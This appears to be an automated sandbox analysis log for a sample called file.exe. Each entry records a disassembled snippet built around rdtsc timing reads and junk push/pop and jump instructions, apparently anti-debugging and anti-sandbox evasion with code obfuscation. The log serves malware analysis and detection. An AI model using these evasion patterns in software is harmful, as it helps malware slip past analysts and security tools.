Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC198 second address: FFC1A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC1A3 second address: FFC1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC1A9 second address: FFC1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC1AF second address: FFC1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jns 00007F81E8BCBB66h 0x0000000c jg 00007F81E8BCBB66h 0x00000012 pop ecx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB807 second address: FFB80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB80B second address: FFB836 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F81E8BCBB7Ah 0x00000013 jmp 00007F81E8BCBB6Eh 0x00000018 jo 00007F81E8BCBB66h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB836 second address: FFB83C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB83C second address: FFB840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB840 second address: FFB844 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB844 second address: FFB84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC849 second address: FFC84D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001F09 second address: 1001F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F81E8BCBB66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001F14 second address: 1001F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F81E8FD2F78h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001F29 second address: 1001F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001F2F second address: 1001F41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001F41 second address: 1001F4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10020DC second address: 10020E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10020E0 second address: 1002106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Dh 0x00000007 jmp 00007F81E8BCBB75h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002106 second address: 100210B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100210B second address: 1002115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002279 second address: 10022AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F81E8FD2F88h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10022AD second address: 10022D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8BCBB6Fh 0x00000009 jo 00007F81E8BCBB66h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F81E8BCBB6Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10022D9 second address: 1002304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F81E8FD2F89h 0x0000000e pushad 0x0000000f popad 0x00000010 jp 00007F81E8FD2F76h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002431 second address: 100244E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F81E8BCBB76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10025D0 second address: 10025DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10025DE second address: 10025E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10025E2 second address: 10025E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100275A second address: 100275E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100275E second address: 1002796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a jl 00007F81E8FD2F76h 0x00000010 pop ebx 0x00000011 pushad 0x00000012 jmp 00007F81E8FD2F85h 0x00000017 jnl 00007F81E8FD2F76h 0x0000001d jns 00007F81E8FD2F76h 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002796 second address: 10027A0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F81E8BCBB66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002B87 second address: 1002B91 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F81E8FD2F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002B91 second address: 1002B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100ED92 second address: 100ED96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100DD61 second address: 100DD87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 js 00007F81E8BCBB66h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F81E8BCBB6Ah 0x00000018 jmp 00007F81E8BCBB6Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3261 second address: FD3265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3265 second address: FD32E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F81E8BCBB68h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 lea eax, dword ptr [ebp+12487F5Fh] 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F81E8BCBB68h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000017h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 clc 0x00000044 jnp 00007F81E8BCBB7Ah 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F81E8BCBB6Ch 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD32E2 second address: FB4558 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ecx, dword ptr [ebp+122D29C8h] 0x00000011 call dword ptr [ebp+122D1FFFh] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3BD9 second address: FD3BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3BDE second address: FD3C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jg 00007F81E8FD2F87h 0x0000000f jmp 00007F81E8FD2F81h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F81E8FD2F86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3C16 second address: FD3C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ebx 0x0000000f jo 00007F81E8BCBB6Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3C35 second address: FD3C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 jmp 00007F81E8FD2F7Eh 0x0000000d jmp 00007F81E8FD2F80h 0x00000012 popad 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3C65 second address: FD3C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E069 second address: 100E087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F81E8FD2F85h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E725 second address: 100E729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E8AC second address: 100E8BC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F81E8FD2F82h 0x00000008 jl 00007F81E8FD2F76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F845E4 second address: F845F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8BCBB6Bh 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10117A8 second address: 10117AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10117AE second address: 10117C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F81E8BCBB6Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10117C4 second address: 10117C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10117C8 second address: 10117CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011B3B second address: 1011B53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F82h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011B53 second address: 1011B5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011B5B second address: 1011B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011B5F second address: 1011B9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F81E8BCBB74h 0x0000000c jng 00007F81E8BCBB66h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007F81E8BCBB66h 0x0000001f jnp 00007F81E8BCBB66h 0x00000025 popad 0x00000026 push esi 0x00000027 pushad 0x00000028 popad 0x00000029 push esi 0x0000002a pop esi 0x0000002b pop esi 0x0000002c push eax 0x0000002d push edx 0x0000002e push ebx 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10143DE second address: 10143E8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F81E8FD2F76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013EE1 second address: 1013F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jbe 00007F81E8BCBB8Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013F14 second address: 1013F30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F80h 0x00000007 jns 00007F81E8FD2F7Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101408F second address: 1014093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014093 second address: 101409A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017EBA second address: 1017EBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017EBF second address: 1017ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F81E8FD2F7Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017ED3 second address: 1017F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F81E8BCBB79h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 jns 00007F81E8BCBB66h 0x00000016 jmp 00007F81E8BCBB6Ah 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jng 00007F81E8BCBB66h 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017F12 second address: 1017F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101781F second address: 1017823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017959 second address: 101796E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BED7 second address: 101BEDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B25F second address: 101B276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jne 00007F81E8FD2F76h 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F81E8FD2F78h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B276 second address: 101B27C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B27C second address: 101B282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B3E7 second address: 101B3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B3ED second address: 101B3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B5A5 second address: 101B5DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Bh 0x00000007 jmp 00007F81E8BCBB75h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnc 00007F81E8BCBB68h 0x00000014 push edx 0x00000015 jp 00007F81E8BCBB66h 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B5DD second address: 101B5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8FD2F7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BA50 second address: 101BA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BA56 second address: 101BA70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8FD2F81h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102048F second address: 102049B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F81E8BCBB66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102097D second address: 102098D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jng 00007F81E8FD2F76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102098D second address: 1020991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3F7E second address: FD3F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3F82 second address: FD3F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3F88 second address: FD3FAA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F81E8FD2F85h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3FAA second address: FD3FBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020C9E second address: 1020CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F81E8FD2F7Ch 0x0000000b js 00007F81E8FD2F76h 0x00000011 pop ebx 0x00000012 jc 00007F81E8FD2FA1h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020CBF second address: 1020CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8BCBB71h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020CD6 second address: 1020CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029D85 second address: 1029D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029D8F second address: 1029D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029D95 second address: 1029DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007F81E8BCBB66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029DA5 second address: 1029DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F81E8FD2F76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029DB0 second address: 1029DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F81E8BCBB66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9383A second address: F9385A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007F81E8FD2F84h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028441 second address: 1028445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
